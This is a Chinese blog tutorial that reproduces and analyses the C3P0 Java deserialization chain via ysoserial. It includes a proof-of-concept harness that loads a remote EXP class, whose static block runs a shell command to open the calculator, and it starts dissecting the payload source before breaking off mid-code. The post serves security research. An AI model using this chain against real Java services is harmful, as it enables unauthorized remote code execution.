C3P0反序列化漏洞详解与利用-CSDN博客

本文链接：https://blog.csdn.net/u013190417/article/details/124311482

本文详细介绍了C3P0反序列化链的漏洞复现、分析和利用方法，包括HTTP基础利用、Hex序列化字节加载器和JNDI利用。通过POC调试，揭示了C3P0如何在序列化和反序列化过程中触发恶意代码执行，为安全研究人员提供了深入理解。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

🚀 优质资源分享 🚀

学习路线指引（点击解锁）	知识定位	人群定位
🧡 Python实战微信订餐小程序 🧡	进阶级	本课程是python flask+微信小程序的完美结合，从项目搭建到腾讯云部署上线，打造一个全栈订餐系统。
💛Python量化交易实战💛	入门级	手把手带你打造一个易扩展、更安全、效率更高的量化交易系统

C3P0

c3p0第一次听闻是用于fastjson的回显上，大佬们总结三种方法，后面两种主要就是用于fastjson和jackjson的回显利用(注入内存马)

http base
jndi
hex序列化字节加载器

1、http base

1.1、漏洞复现

package ysoserial.test;

import ysoserial.Serializer;
import ysoserial.payloads.C3P0;

import java.io.*;

public class C3P0Test {
    public static void main(String[] args) throws Exception {
        C3P0 c3P0 = new C3P0();
        Object object = c3P0.getObject("http://127.0.0.1:8000/:EXP");
        serialize(object,"c3p0.ser");
        unserialize("c3p0.ser");


    }

    public static void serialize(Object obj ,String path) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(path));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize(String path) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(path));
        objectInputStream.readObject();
    }
}

exp


public class EXP {
    public EXP() {
    }

    static {
        try {
            Runtime var0 = Runtime.getRuntime();
            String[] var1 = new String[]{"bash", "-c", "open -a calculator.app"};
            Process var2 = var0.exec(var1);
            var2.waitFor();
        } catch (Exception var3) {
        }

    }
}

1.2、漏洞分析

我跟jdk7u21一样还是通过ysoserial来学习，首先先学习一下c3p0链，我们看到getObject()方法，他就是通过:截断，获取url和类名，然后反射创建PoolBackedDataSource类，设置其connectionPoolDataSource属性设置为new PoolSource(className, url)实例。

我们继续看看PoolSource,除了构造方法赋值外就是有一个getReference()方法，传入了我们的恶意的url和className

public class C3P0 implements ObjectPayload {
 public Object getObject ( String command ) throws Exception {
 int sep = command.lastIndexO